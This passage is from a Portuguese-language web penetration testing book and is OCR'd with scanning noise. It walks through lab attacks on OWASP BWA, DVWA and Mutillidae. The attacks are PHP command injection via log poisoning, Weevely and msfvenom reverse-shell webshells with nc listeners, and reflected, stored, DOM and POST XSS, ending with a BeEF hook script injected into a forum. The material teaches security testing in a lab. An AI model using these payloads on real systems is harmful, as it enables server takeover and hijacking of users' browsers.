11:44:43 up 2:26, users, load average: 0.00, 0.80, 0.00
USER TTY FROM LOGINA IDLE JCPU  PCPU WHAT

uid=33(www-data) gid=33(www-data) groups=33(wmw-data)
/bin/sh: can't access tty; job control turned off

Figura 5.6: Conexao reversa.

Como vocé deve ter percebido, o servidor web atacado se
conectou ao seu Kali e agora vocé pode executar comandos no
terminal dele. Além desses webshells, existem diversas outras
ferramentas, como Weevely e MSFvenom, que elaboram webshells
mais aperfeicoados. Nos topicos a seguir, faremos a utiliza¢ao
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dessas ferramentas para aumentar a performance dos nossos

ataques.

5.5 LFI A PARTIR DO ENVENENAMENTO DE
LOGS

O LFI, com base nos arquivos de logs, depende da existéncia de
uma vulnerabilidade que mencionamos neste capitulo, o path
traversal, e também que tenha sido atribuida ao usudrio do
servidor Apache a permissdo de acesso ao diretério de logs, o
/var/log/apache2/ .

Toda requisicdo que é feita para uma aplicagdio web, por
padrao, é escrita em um arquivo de log. Entdo, se fizer uma
requisi¢ao, por exemplo, desse modo: http://exemplo.com/" <?php
system($_GET['cmd']); ?>", ela serd gravada integralmente em um

arquivo texto de log.

Ja que isso é escrito em um arquivo de log do servidor web,
podemos tentar incluir esse arquivo dentro de um outro que seja
executado. Entdo, ao incorporar esse log dentro de uma pagina
PHP, a parte de texto fora de <?php ?> seria ignorada e o cdédigo
dentro executado. Vamos tentar fazer e assim saberemos se
funciona.

Para exemplificarmos essa vulnerabilidade, entre no terminal
da maquina OWASP BWA com a senha root/owaspbwa e
execute chmod 777 -R /var/log/apache2/ . Isso vai liberar a
leitura, escrita e execugdo no diretdrio para todos os usuarios.

Agora, no Kali, abra a ferramenta Burp Suite e faga uma
requisi¢do a http://10.0.0.1/. Ao interceptar a sua requisi¢ao, faca a
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alteracdo do cabegalho User-Agent para <?php
system($_GET['cmd']); ?>.

=

GET / HTTF/1.1

Host: 19.9.8.1

User-Agent: E?php system($ GET['cmd']); 7=

Acecept: text/html, application/xhtml+xml, application/xml; cE0. 9, ¥/*: c=0.8
Accept -Language: en-US, en; gl 5

T TV %]

Figura 5.7: Inclusao do cédigo PHP como user-agent.

Para confirmar que ela foi armazenada em log, vocé pode
verificar o access.log do servidor Apache dentro da maquina
OWASP BWA.

rootRowaspbwa : #var/logh cat svar-lograpache2raccess. log
10.0.0.2 — - [15/Nov/2020:12:52:13 -05001 "GET ~» HTTP,1.1" 304 - "-" '

n(5_GETL'cmd' 1); 73"

Figura 5.8: Arquivo access.log.

Como podemos ver, a nossa requisi¢dio com cédigo PHP foi
armazenada em log. Um atacante sabera que isso vai acontecer e
precisa utilizar a vulnerabilidade de path traversal para incluir esse
arquivo de log dentro de outro arquivo PHP acessivel.

Vamos fazer isso com o path traversal do Mutillidae e também
passar o pardmetro cmd com o comando, ja que o cédigo incluso
trabalha assim. Para isso, acesse view-
source:http://10.0.0.1/mutillidae/index.php?
page=../../var/log/apache2/access.log&cmd=1s -1 para ver
o resultado pelo cddigo-fonte, onde a visualizagdo é mais favoravel.
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10.0.8.2 - - [15/Nov/20820:12:52:13 -0580] "GET / HTTP/1.1" 304 - "-" "total 588

-rwxr-xr-x 1 www-data www-data 14201 Jul 28 2015 add-to-your-blog.php
drwxr-xr-x 2 www-data www-data 4096 Sep 26 2013 ajax

-rwxr-xr-x 1 www-data www-data 5915 Jul 28 20815 arbitrary-file-inclusion.php
-rwxr-xr-x 1 www-data www-data 534 Sep 26 2013 authorization-required.php
-rwxr-xr-x 1 www-data www-data 1437 Jul 28 2015 back-button-discussion.php
-rwxr-xr-x 1 www-data www-data 9136 Jul 28 2015 browser-info.php

-rwxr-xr-x 1 www-data www-data 8725 Jul 28 2015 capture-data.php

-rwxr-xr-x 1 www-data www-data 7053 Jul 28 2015 captured-data.php

-rw-r--r-- 1 www-data www-data 0 Aug 2 2015 captured-data.txt

drwxr-xr-x 2 www-data www-data 4096 Jul 28 2015 classes

-rwxr-xr-x 1 www-data www-data 22419 Jul 28 20815 client-side-control-challenge.php
-rwxr-xr-x 1 www-data www-data 3505 Jul 28 2015 credits.php

drwxr-xr-x 2 www-data www-data 4096 Jul 28 2015 data

-rwxr-xr-x 1 www-data www-data 2522 Sep 26 2013 database-offline.php

Figura 5.9: Comando executado com sucesso.

5.6 LFI POR SERVICOS AUXILIARES

Comumente, quem desenvolve ou administra sistemas
costuma utilizar servicos como FTP, WebDav, Samba, entre outros
para enviar atualizac¢des para as aplicacdes web. Esses servicos, se
ndo configurados corretamente, também podem oferecer a
possibilidade de um LFI na aplicagao. Vejamos o exemplo na nossa
maquina OWASP BWA.

Como ja vimos no capitulo que fala sobre reconhecimento,
vamos utilizar o nmap para identificar as portas abertas no
servidor.

nmap 10.0.0.1
PORT STATE SERVICE
445/tcp open microsoft-ds

De antemdo sabemos que a senha para o acesso ao servigo é

root/owaspbwa e vamos usd-la, pois processos para explora¢do

de outros servigos fora web, como o samba, ndo estio no escopo
deste livro.
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Para acessar o servigo, primeiro precisamos informar ao nosso
Kali que a versao do smb, que é o protocolo utilizado para a troca
de arquivos com um servidor samba, usada pelo servidor é a 1, essa
versao é bloqueada por padrdo. Podemos colocar a versdo para o
smb 1 sem preocupagdes, pois o Kali é uma maquina de ataque e
ndo estamos preocupados com defesas nesse momento, entdo
vamos apenas criar a compatibilidade. Abra o arquivo

/etc/samba/smb.conf e adicione client min protocol =
NT1 debaixo da diretiva [global] . Apods isso reinicie o servigo
com service samba restart .

Agora, abra uma conexdo com a maquina alvo com o préprio
gerenciador de arquivos do Kali. Para isso, abra-o em qualquer
diretério, use a tecla de atalho ctrl+L e digite smb://10.0.0.1.
Abra o diretério owaspbwa e informe a senha.

x

Password required for share owaspbwa on 10.0.0.1

owaspbwa

Connect As Anonymous

® Registered User
Username  root
Domain WORKGROUP
Password #eesssses
Forget pass

% Remember rd until you logout
Remember

Cancel Connect

Figura 5.10: Acesso ao samba.
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Com o diretério aberto, vamos gerar um webshell com a
ferramenta Weevely. O Weevely é capaz de gerar webshells
ofuscados e protegidos por senha. Um ponto positivo é que essa
ferramenta vem pré-instalada no Kali. Para isso, use o comando a
seguir para gerarmos um webshell chamado shell.php com
senha 123456 :

weevely generate 123456 shell.php

Agora, vamos ao diretério de compartilhamento
smb://10.0.0.1/var/www/ . Como podemos ver, é a estrutura de
diretérios do nosso Kali. Vamos mover o arquivo gerado
shell.php para la e depois executar o comando weevely , s
que dessa vez para utilizarmos o webshell. No terminal do seu Kali,
digite a seguinte linha de comando para usar o webshell:

weevely http://10.0.0.1/shell.php 123456

[+] weevely 4.0.1

[+] Target: 10.0.0.1
[+] Session: /root/.weevely/sessions/10.0.0.1/shell_@.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> whoami
ww -data

Figura 5.11: Conexdo com Weevely

Como podemos ver, também ¢é possivel explorar aplicagoes
web a partir da combinacdo de falhas em outros servigos. Como
isso, note como ¢ importante o trabalho conjunto entre todas as
areas de TI, para que haja a mitigagdo das vulnerabilidades.
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5.7 DEPLOY DE WEBSHELL NO TOMCAT

Por vezes, vocé pode obter o acesso a um console de
administracdo de algum servidor. Dependendo do servidor, vocé
pode fazer o deploy de uma aplicagio maliciosa que ofereca o
controle do terminal do servidor para vocé. Por exemplo, na
maquina OWASP BWA, na porta 8080, temos um servidor
Tomcat em execucdo. Nele, vamos verificar se é possivel fazer
algum deploy acessando http://10.0.0.1:8080/manager/html
e analisando a resposta que o servidor nos dara.

Authentication Required o X

:B080 is requesting your username and password. The site says: "Tomcat Manager

Figura 5.12: Autenticagao do Tomcat.

Ao acessar a URL do console de gerenciamento de aplicagdes
do Tomcat, obtivemos um pedido de autenticacao. Vamos utilizar
a senha admin/owaspwa , uma senha altamente dedutivel, e, apos
entrarmos, teremos acesso ao console de administragéo.

Com isso, vocé perceberd que existem alguns sistemas web no
Tomcat, que inclusive vocé poderd acessar e usar caso queira
aperfeicoar suas habilidades ainda mais. No entanto, nosso foco é
obter um shell do servidor, entdo temos que fazer o deploy de uma
aplicagdo que ofereca um shell reverso. Para isso, temos uma
ferramenta que pode nos ajudar muito, o msfvenom.

O msfvenom ¢é uma ferramenta que nos permite criar payloads
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especificos, trabalha em conjunto com o metasploit, que é um
framework muito utilizado em pentests, mas que nao abordaremos
neste momento. Ela pode ser utilizada para criar um arquivo

.war com um shell reverso e isso vai nos deixar prontos para
explorar a aplicagao.

Para usar o msvenom, primeiro temos que definir o payload
que sera utilizado na op¢ao -p . Vocé podera ver a lista com os
payloads disponiveis com msfvenom --list payloads . Temos
que escolher um payload em java para funcionar como .war ,
entdo escolheremos o java/jsp_shell_reverse_tcp .

O payload também exibe algumas opgdes e, no nosso caso,
preencheremos o LHOST com o nosso IP do Kali e 0 LPORT com
a porta que estaremos ouvindo a conexdo. O préximo passo é
definir o formato de saida com -f e usaraop¢ao -o para criar o
arquivo.

msfvenom -p java/jsp_shell reverse_tcp LHOST=10.0.0.2 LPORT=1234
-f war -o shell.war

Antes de termos um shell funcionando no servidor, precisamos
usar o comando nc -lvp 1234 para ouvirmos a conexao, ja que
se trata de um shell reverso. Agora sim, podemos fazer o deploy da
nossa aplicagio gerada com msfvenom. Utilizamos também a
op¢ao -v no comando nc , essa op¢do serve para verbose e com
isso oferece um maior detalhamento nos resultados do comando.
Para algumas exploragoes, precisamos dela para saber se obtivemos
sucesso ou ndo de uma forma mais clara. Caso vocé nao a utilize
neste exercicio, nao sabera quando obteve a conexao.
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Select WAR file to upload Browse... shell.war

Deploy

Figura 5.13: Deploy de aplicagao no Tomcat.

Depois de clicar em deploy, aparecera uma aplicagao chamada
/shell na lista. Clique nela acessando a aplicagdo e pronto! O
shell esta sob suas ordens novamente. Nesse caso, como brinde,
recebemos o usudrio de mais alto privilégio, o root.
:~# nc -lvp 1234
listening on [any] 1234 ...
10.0.0.1: inverse host lookup failed: Unknown host

connect to [10.0.0.2] from (UNKNOWN) [10.0.08.1] 57605
whoami

uid=@(root) gid=@(root)

Figura 5.14: Shell por meio do Tomcat.

Consideragdes finais do capitulo

A inclusido de arquivos vai muito além do que foi dito neste
capitulo. O objetivo aqui foi explicar e introduzir as técnicas
fundamentais de exploragio de RFI e LFI. No entanto, o
aprendizado deste capitulo ndo é menos importante, ainda é muito
comum encontrar sistemas onde essas técnicas possam ser
utilizadas. Com isso, vocé poderda auxiliar a equipe de
desenvolvimento de sistemas e de administradores de rede,
mostrando na pratica a necessidade de realizar as mitigagdes
corretamente.
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CapiTuLO 6

OS PERIGOS DO XSS
(CROSS-SITE SCRIPTING)

O XSS também ¢ conhecido como Cross-Site-Scripting e
sempre aparece entre as vulnerabilidades mais exploradas na web.
Trata-se de um ataque antigo e muito conhecido no mundo
hacker.

Ha profissionais de seguranga que subestimam o poder da
exploragdo dessa vulnerabilidade, ja que alguns navegadores
contém prote¢des prévias contra ela. No entanto, essas protecdes
ainda nao sdo capazes de mitigar todas as suas variantes e também,
ao depender do navegador utilizado, podem ser mais ou menos
eficazes.

No decorrer deste capitulo, teremos contato direto com os
conceitos e técnicas de exploracio da vulnerabilidade de XSS e
mostrar como convencer as equipes de seguranga e de
desenvolvimentos sobre os riscos atrelados a ela. Ao final do
capitulo, vocé sera capaz de entender as variantes de ataque XSS e,
até mesmo, de operacionalizar os seus ataques para que seja
elaborado um relatério mais rico e convincente.
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6.1 INTERPRETACAO DE CODIGOS NO
NAVEGADOR

Apesar de existirem processos anteriores para aplicagdes web, o
inicio de tudo é quando a aplicagdo é acessada. No momento em
que isso acontece, o navegador envia um pedido para o servidor
web e ele responde uma pagina com conteido. Na maioria das

vezes, esse conteudo é composto por linguagens, como HTML,
CSS e JavaScript.

Como cada uma dessas linguagens retornadas precisam ser
tratadas pelo navegador de uma forma diferente, elas vém
marcadas pelo que chamados de tags. Quando sdo arquivos
inteiros em outras linguagens que ndo HTML, por obrigac¢ao eles
possuem grande ligagdo com o arquivo HTML solicitado
anteriormente ao servidor, o qual contém pelo menos uma tag que
fara o link. Esse link geralmente ¢é feito em atributos, como src e
href .

E com base nisso e em cabecalhos que também sio enviados
que o navegador consegue identificar como deve ser interpretado o
conteudo que veio do servidor web.

O cédigo HTML a seguir pode ser salvo em um arquivo de
extensdo .html e aberto em um navegador.

<html lang="pt-br">
<head>
<title>Titulo da pagina</title>
</head>
<body>
<script type="text/javascript"> alert('0la mundo!'); </sc
ript>
<hi>teste</h1)
</body>
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</html>

Com esse codigo é possivel ter uma boa nog¢ao de como o
navegador faz as suas interpretacdes com base nas tags. A questao
principal do ataque XSS é a inclusio de um conteudo que a
principio é texto, mas que, ao ser lido pelo navegador, sera
interpretado como cédigo e, assim, executado. Nos topicos
posteriores serdo exibidos com mais detalhes os tipos de ataques
XSS e como eles podem ser explorados.

XSS refletido

O XSS refletido ¢ uma vulnerabilidade que, apesar de existirem
diversas protecdes oferecidas pelos navegadores atuais, ainda ¢

7

muito comum. Para o ataque ocorrer, é necessirio que algum
pardmetro enviado a aplicacao web tenha o valor retornado no
contetido HTML. Para fixar esse contetido, vamos mais uma vez a

nossa aplicagdo alvo, o DVWA.

Acesse a URL http://10.0.0.1/dvwa/vulnerabilities/xss_r/ para
entender melhor como funciona esse ataque. Vocé encontrara uma
simples caixa de texto, que solicita um nome de entrada. Vamos
atender ao pedido desse formuldrio e verificar a dindmica.
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10.0.0.1/d

o | Vulnerability: Reflected Cre
Instructions |

Setup | What's your name?

S | jose Submit
Command Execution | Hello

CSRF |

Figura 6.1: DVWA XSS formuldrio.

A figura mostra algo interessante. Note os detalhes de como
funciona a dinidmica da aplicagdo. Ao clicar no botdo submit, o
nome que escrevemos anteriormente no campo texto é retornado
na tela, formando a mensagem "Hello Jose". Se vocé olhar bem,
percebera que a URL também foi alterada apds o clique no botdo e
que agora contém o nome informado anteriormente como valor
do parametro name .

Ao perceber esses detalhes na aplicagdo, fica o questionamento
sobre a existéncia do XSS. Para comprovar sua existéncia, devemos
fazer uma alteragdo direto na URL e verificar se o conteido que é
retornado no documento depende desse pardmetro. Acesse

http://10.0.0.1/dvwa/vulnerabilities/xss_r/?
name=casa%20do%20c%C3%B3digo .
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What's your name?
Submit
Hello casa do codigo

Figura 6.2: Teste para possivel XSS.

Com isso, conseguimos perceber que o parametro name na
URL ¢ enviado para o servidor via método GET, e o seu contetdo é
posto no documento HTML de resposta. A suspeita sobre o ataque
XSS aparece quando percebemos essa caracteristica. Entdo a
pergunta principal é: sabendo que o navegador interpreta como
cédigo JavaScript qualquer conteido que esteja entre as tags

<script><\script> , sera que se adicionarmos um cédigo desse
como valor do pardmetro name ele sera interpretado?

A melhor forma de respondermos a essa pergunta é realizando
esse teste. Vamos adicionar o seguinte codigo como valor do
parametro name na URL e verificar qual resposta serd retornada
para nos. Acesse

http://10.0.0.1/dvwa/vulnerabilities/xss_r/?name=
<script>alert("Ataque XSS")</script>.

Figura 6.3: Ataque XSS refletido.
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Como vocé pode perceber, ao acessar a URL, o nosso codigo
foi colocado como valor do parametro name e foi executado pelo
navegador. Ao olhar o coédigo-fonte da pagina, apos fechar a
mensagem JavaScript, podemos ver que o conteudo foi adicionado

integralmente a pagina HTML, ou seja, isso fez com que o
navegador o interpretasse como codigo JavaScript.

<form name="X55" action="#" method="GET">
<p=What's your name?</p>
<input type="text" name="name"=
<input type="submit" value="Submit"=
</ form=

<pre>Hello <script=alert{"Atague X55")</script></pre>

Figura 6.4: XSS refletido no codigo-fonte.

Isso é o que caracteriza o XSS refletido. Podemos apenas
explorar essa vulnerabilidade se um alvo humano acessar a URL
maliciosa. Por isso, tenha cuidado ao acessar links que sdo
enviados a vocé. Ao acessar a URL maliciosa, o atacante pode
executar diversos cdigos no navegador. Veremos os mais comuns
em topicos mais adiante. A principio, basta entendermos a
dindmica do ataque de XSS refletido e ter em mente que esse
ataque, geralmente, ¢ acompanhado de engenharia social, pois o
usudrio de alguma forma precisa acessar o link malicioso.

XSS armazenado

4

Enquanto para o XSS refletido é necessirio que o usudrio
acesse um link para sofrer o ataque, o XSS armazenado dispensa
qualquer interagdo prévia com o usudrio. Isso mesmo, como o

proprio nome sugere, ele fica armazenado na base de dados da
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aplicagdo e pode ser exibido a qualquer usudrio de uma pagina.
Para esse caso, até mesmo os usudrios mais cuidadosos nao teriam
escapatdria.

Para exemplificar esse ataque, vamos usar a mesma aplicagdo
DVWA. Nela, acesse 0 seguinte link:
http://10.0.0.1/dvwa/vulnerabilities/xss_s/. Esse link do DVWA
referente a vulnerabilidade de XSS armazenado simula um sistema
de férum onde varias pessoas teriam a possibilidade de postar e
acessar o conteudo publicado por outras pessoas.

Provavelmente, vocé ja consegue imaginar como sera a
dindmica desse nosso ataque. Entdo vamos realiza-lo na pratica.
Para verificar o funcionamento do férum, faca primeiro uma
postagem com uma frase aleatéria e veja o funcionamento do
sistema.

Mame: test
Message: This is a test comment.

Mame: jose
Message: Teste

Figura 6.5: Postagem aleatoria em forum.

Como vocé pode ver, essa mensagem esta disponivel para
todos os usudrios que acessam esse féorum. Entdo, o
questionamento que fica é o seguinte: sera que, além de colocar um
texto comum, eu consigo colocar um cddigo JavaScript para
executar no navegador de todos os usudrios que acessarem o
forum? Bom, s6 tem uma forma de descobrirmos se isso é possivel,
tentando!
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Faca uma postagem com a seguinte mensagem: "Ola
<script>alert("Ataque XSS")</script>"e veja o resultado. E
um cédigo que serd executado no navegador de qualquer pessoa
que acessar o forum. Com isso, acabamos por fazer um ataque que
nao deixa escapatdrias para os usuarios.

Ataque XSS

Figura 6.6: Ataque XSS armazenado.

DOM-Based XSS ou XSS baseado em DOM

Um ataque XSS baseado em DOM (Document Object Model) é
possivel quando a aplicagdo usa 0 DOM sem a cautela necessaria.
A sigla DOM, nesse contexto, faz referéncia aos objetos do
documento HTML, como div, body, h1 etc. Para todo documento
HTML existe um DOM associado, que representa as propriedades
do documento do ponto de vista do navegador. Isso significa que o
JavaScript nao precisa enviar algo ao servidor web para poder

trabalhar em cima dos objetos HTML e é sobre isso que essa
vulnerabilidade versa.

Esse tipo de vulnerabilidade XSS ndo costuma aparecer com
muita frequéncia, no entanto ela também existe e pode ser
explorada. Ela se diferencia dos outros tipos de XSS porque o
ataque de XSS, nesse caso, acontece apenas no navegador do
cliente sem que nenhum pardmetro seja enviado ao servidor.
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No XSS refletido, precisamos enviar o nosso payload com XSS
para o servidor utiliza-lo na renderizagdo da resposta, como no
link: http://10.0.0.1/dvwa/vulnerabilities/xss_r/?name=
<script>alert("Ataque XSS")</script> . No servidor, caso
olhemos os logs, podemos perceber que um ataque XSS ocorreu,
pois o parametro enviado como payload XSS foi logado no
servidor. No caso do XSS armazenado, também ¢é possivel em
algum momento perceber que houve o ataque.

Por exemplo, no caso do férum, ja mostrado, ao olhar o banco
de dados, podemos perceber que existe uma mensagem que
contém um cddigo JavaScript em um dos campos. Da mesma
forma que no ataque de XSS refletido, também pode-se perceber
que o ataque existiu por meio da analise dos logs do servidor web.

Para verificar isso, basta acessar o terminal da maquina
OWASP BWA. Acesse 0 link:
http://10.0.0.1/dvwa/vulnerabilities/xss_r/?name=
<script>alert("Ataque XSS")</script> e apds isso, va ao
terminal do OWASP BWA e digite o comando tail -1
/var/log/apache2/access.log . Veja entdo que realmente é
possivel identificar que um ataque XSS ocorreu olhando para os
logs, pois o payload precisa ser enviado ao servidor para que o

ataque seja efetivado.

rootBowaspbuwa:™# tail -1 svar-log-rapacheZ-access. log
10.0.0.2 — - [27-Febs2021:11:13:47 —05001 "GET ~dvwasvulnerabilities xss_r/7name
=#20»3Cscriptx3Ealert (xZ2ZAtaquer20XSS.22)»3C/script#3E HTTP-1.1" 200 1332 "-" "M

ozillas5.0 (¥11:; Linux x86_64: rv:68.0) Gecko-20100101 Firefox-68.0"
root@owaspbuwa:™# _

Figura 6.7: Log da tentativa de ataque XSS.

Quando estamos diante do DOM-Based XSS, como também é
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conhecido, essa situagdo nao ocorre, pois o payload ndo é enviado
ao servidor se restringindo apenas ao navegador do usudrio. Para
ver essa falha, note o seguinte codigo:

<html>
<head>
<title>XSS Baseado em DOM</title>
</head>
<body>
Nome:
<script>
var nome = document.URL.indexOf("nome=") + 5;
document.write(decodeURI(document.URL.substring(nome,
document.URL.1length)));
</script>
</body>
</html>

Para executar esse ataque na pratica, adicione o céddigo acima a
um arquivo de extensdo .html no diretério /var/www/ da
mdquina OWASP BWA com o nome dombased.html . Logo

apos, acesse o arquivo com o navegador no seguinte link
http://10.0.0.1/dombased.html?nome=jose .

Como vocé pode ter visto, apareceu na tela uma mensagem
“Nome: jose". Vamos agora adicionar o nosso payload malicioso,
onde vamos explorar a vulnerabilidade. Para isso, utilize o link:

http://10.0.0.1/dombased.html?

#nome=jose<script>alert("Ataque XSS")</script>.

110 6.1 INTERPRETACAO DE CODIGOS NO NAVEGADOR
E-book gerado especialmente para Junior Andreucci - acer_pcl23@outlook.com



i 10.0.0.1

Figura 6.8: Log da tentativa de ataque XSS.

O resultado aparentemente foi igual ao dos outros mostrados,
no entanto, caso vocé abra o Inspect Element com a tecla F12 e
va até a aba networking, vera que a requisi¢do foi feita sem o envio
do parametro nome e que, mesmo assim, ele foi usado na pagina.

m’ T Filter URLs

itatus Method Domain File

I GET l H10.0.01 dombased.html
GET #1001 favicon.ico

Figura 6.9: Requisigoes HTTP.

Isso foi possivel porque antes do uso do parametro nome na
URL, utilizamos o conceito de 4ncora do HTML, que é expressado
por meio de uma hashtag ( # ). As ancoras servem para que o
navegador se posicione em algum ponto especifico dentro de uma
pagina e sdo muito usadas em paginas denominadas singlepages,
pois normalmente sdo grandes. Por padrao, tudo o que vem apods a

# em uma URL é denominado ancora e, como serve apenas para
o navegador, isso nao é enviado ao servidor.

Na nossa pagina de exemplo, o script permite que seja usado o
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conteido que estd depois de uma # como parte do documento
HTML. Isso permite que sejam adicionados cddigos para executar
na pagina e, desse modo, no servidor, ndo havera modos de se
identificar esses ataques, sendo passiveis de DOM-Based XSS.

6.2 XSS EM PARAMETROS POST

Quando olhamos uma vulnerabilidade XSS em um pardmetro
enviado via POST, podemos ficar com algumas duvidas sobre as
formas como podemos explorar. Isso porque a exploragdo do XSS
refletido pode ficar um pouco mais clara, ja que ela necessita
apenas que o usuario acesse um link. O fato de o usudrio acessar
um link ja faz o navegador automaticamente enviar uma
requisi¢ao do tipo GET para o servidor e isso deixa clara a forma
de exploracao. Ja quando a exploragido é de um formulario via
POST, por exemplo, ndo existe uma forma de enviar uma
requisi¢cao do tipo POST apenas clicando em um link. Com isso,
necessitamos adicionar mais alguns passos para essa exploragao.

Para contornar essa restricdo, teremos que usar mais um
artificio para incrementar o ataque. Primeiro o usudrio deve ser
enviado a uma pagina inteiramente sob o controle do atacante e,
de modo quase imperceptivel, essa pagina tera que fazer uma
requisicdo POST ao sistema vulneravel. Dessa forma, serd possivel
explorar essa vulnerabilidade.

Vamos partir para a pratica com o Burp Suite ativado e
interceptando as requisigoes. Acesse
http://10.0.0.1/zapwave/active/xss/xss-form-basic.jsp .
Na parte inferior da pagina, no campo Name: , envie o seguinte
codigo:  <script>alert('Ataque XSS')</script> . Depois
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clique no botao Submit.

Figura 6.10: Ataque XSS via POST.

Agora, suponha que vocé queira elaborar um link que sera
enviado a um usudrio para tirar proveito da vulnerabilidade de
XSS. Como vocé pode notar, a URL ndo contém um parametro
que vocé pode manipular a fim de explorar o XSS refletido. Entéo,
a exploragio do XSS deve ser feita por meio de pardmetros
enviados via POST. Vocé podera perceber isso ao fazer a
interceptagdo da requisigdo com o Burp Suite.

POST Szapwave/active/xss/xss-form-basic. jsp HTTR/L. 1
Host: 10.0.8.1

User-Agent: Mozillas5. 0 (¥11l; Linux x86_64; rv:68. 0) Gecl
Accept: text/s/html, application/xhtml+xml, application/xml;«
Accept -Language: en-US, en; 0.5

Accept -Encoding: gzip, deflate

Referer: http: //10.0.0. 1/zapwave/active/xssixss-form-bas:
Content -Type: application/x-www-form-urlencoded

Content -Length: 41

Connection: close

Cookie: JSESSIOMIC=30EL77FASESCESETF47DAZ0BA4G1SCECE; JSES
swingset, jotto, phpbb2, redmine; acgroupswithpersist=nada;
12 Upgrade-Insecure-Requests: 1

13

14 mame==script=alert('Atagus XS55')=/script>

= T W W Rk

o
H oW

Figura 6.11: Requisi¢ao no Burp Suite.
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Caso o contetdo do cddigo injetado esteja com encode no seu
Burp Suite, vocé pode selecionar o contetdo, usar o atalho CTRL +
SHIFT + U paradesfazere CTRL + U para fazé-lo novamente.

Agora podemos usar essa requisicdo do burp para fazer um
formulario automaticamente usando 0 site:
https://security.love/ CSRF-PoC-Genorator/. Copie o parametro

name enviado via POST e a URL para a qual ele é submetido,
copie no formuldrio do site e clique no botdo Download CSRF
PoCl.

Method:

POST A
Encoding

application/x-www-form-urlencoded -
Data:

name=<script=alert('Atague XSS')</script>

URL:

http://10.0.0.1/zapwave/active/xss/xss-form-basic.jsp|

Figura 6.12: CSRF Poc generator.

Apos isso, vocé fard o download de um arquivo HTML com o
codigo da requisi¢do convertido para um formulério que também
acionard a funcionalidade. Como podemos perceber ao abrir o
arquivo, ele niao estd bem formatado. Como dica, use o site
https://www.freeformatter.com/html-formatter.html para formatar
o arquivo HTML e deixd-lo mais agradavel para manipulagoes
futuras.
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Precisamos adicionar também ao arquivo, abaixo da tag
</form> , um JavaScript que acione rapidamente esse formulario,
para que o usuario alvo, ao acessar essa pagina, ja seja
redirecionado para o site com a vulnerabilidade, e o XSS seja feito
com sucesso. Segue o codigo que deve ser adicionado ao arquivo:
<script> document.forms[@].submit(); </script>.

Esse c6digo acionara o formuldrio assim que toda a pagina for
carregada, pois estd ao final. Algo desse tipo é quase sempre
imperceptivel ao usudrio comum. Com isso, teremos o seguinte
cddigo:

<html>
<form enctype="application/x-www-form-urlencoded" method="POST
action="http://10.0.0.1/zapwave/active/xss/xss-form-ba
sic.jsp">
<table>
<tr>
<td>name</td>
<td>
<input type="text" value="<script>alert(‘Ataque XS
S’)</script>" name="name">
</td>
</tr>
</table>
<input type="submit" value="http://10.0.0.1/zapwave/active/
xss/xss-form-basic.jsp">
</form>
<script> document.forms[@].submit(); </script>
</html>

Agora com o cddigo em maos, no terminal do seu Kali, digite o
comando service apache2 start para habilitar o servidor
apache e, logo depois, copie o arquivo para dentro de

/var/www/html/ . Acesse o link http://10.0.0.2/csrfPoc.html, que

explora a vulnerabilidade, e veja que realmente é possivel realizar o
XSS mesmo que o parametro vulneravel seja POST.
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Atague XS5

Figura 6.13: Ataque XSS em parametro POST.

6.3 OPERACIONALIZANDO XSS COM BEEF

A sigla BeEF é a abreviagdo de The Browser Exploitation
Framework, sendo entdo uma ferramenta de teste de penetragdo
com foco no navegador web. O BeEF permite que um profissional
de seguranca ofensiva avalie a postura real em um ambiente,
usando vetores de ataque do lado do cliente.

Apesar de esses tipos de testes serem, geralmente,
acompanhados de engenharia social, dependendo dos aspectos da
aplicacdo, podem ser dispensados. O BeEF contém diversas
funcionalidades prontas que permitem grandes resultados em

relagdo a exploragio do navegador do usudrio e, com isso, é
possivel comprovar os riscos ao uso da aplicac¢ao.

Configuragdes iniciais do BeEF

O primeiro passo que precisamos dar é ativar o BeEF, pois ele
ja vem por padrdo no Kali. Para isso, vocé sequer precisa acessar o
terminal, basta acessar o menu grafico do Kali no canto superior
esquerdo e clicar em 13 - Social Engineering tools . No
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menu aberto a direita, vocé vera o BeEF, entdo clique nele e o
inicie.

backdoor-factory

S
.~ beefxss framework [
Re

maltego

I Usual Applications @ msf payload creator
Q 01 - Information Gathering social engineering toolkit
(E, 02 - Vulnerability Analysis

03 - Web Application Analysis

Figura 6.14: Acessando BeEF no menu do Kali.

Apos o clique, sera pedido que vocé modifique a senha. Para
fins didaticos, coloque uma senha simples como "kali". Apds
defini-la, serdo exibidas algumas informagbes importantes no
terminal. Anote:

*

[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
Dessas informagdes, a primeira é o seu painel de controle no
framework, e o0 hook é o script do BeEF que vocé devera usar nos
seus ataques de XSS. Feito tudo isso, aguarde a configuracao
automatica da ferramenta e acesse
http://127.0.0.1:3000/ui/authentication. Nessa URL, faga o login
com a credencial beef/kali ou com a outra senha que vocé
atribuiu no momento da instalagéo.
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Hooked Browsers
[_] Online Browsers
| Offiine Browsers

Getting Started %/l Logs Zombies

—eEF

THE BROWSER EXPLOITATION FRAMEWORK PROJECT

Official website: http://beefproject.com/

Figura 6.15: Login feito no BeEF.

Com tudo certo, podemos dar inicio aos nossos experimentos
de ataque. Vamos ver na pratica como essa poderosa ferramenta
pode nos ajudar a desenvolver um teste de instrugdo mais eficiente.

Realizando ataques XSS com o BeEF

Com o BeEF ja configurado e pronto para ser usado,
precisamos escolher o nosso sistema alvo. Vamos escolher uma
vulnerabilidade de XSS armazenado, no sistema mutillidae. Para
iniciarmos, acesse: http://10.0.0.1/mutillidae/index.php?page=add-
to-your-blog.php.

O ataque serd muito parecido com o exemplo anterior do
nosso ataque de XSS armazenado. No entanto, em vez de
adicionarmos o cddigo para que o sistema execute uma simples
caixa de alerta, vamos colocd-lo para que o navegador do usuario
que acessou o recurso importe o script hook do BeEF.

Esse script poderd ser acessado por meio da URL
http://10.0.0.2:3000/hook.js. Caso vocé acesse o link, vera o codigo
do script, que sera importado para o navegador do usudrio vitima.
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Com esse script em maos, precisamos formar o payload que
sera incluido como comentario no férum do mutillidae. O BeEf na
sua configuracdo inicial ja nos forneceu esse payload basico:

<script src="http://10.0.0.2:3000/hook.js"></script>
Entao, vamos inclui-lo em nossa postagem maliciosa no férum.

[ Add blog for anonymous }

[Note: <b>,<i> and <u> are now allowed in blog entries}

Meu nome e Jose <script src—"http://10.0.0.2:3000/hook. js">
|</script>

2 Current Blog Entries

Date
2021-03-07 11:13:31
2009-03-01 22:27:11

Comment

Meu nome e Jose

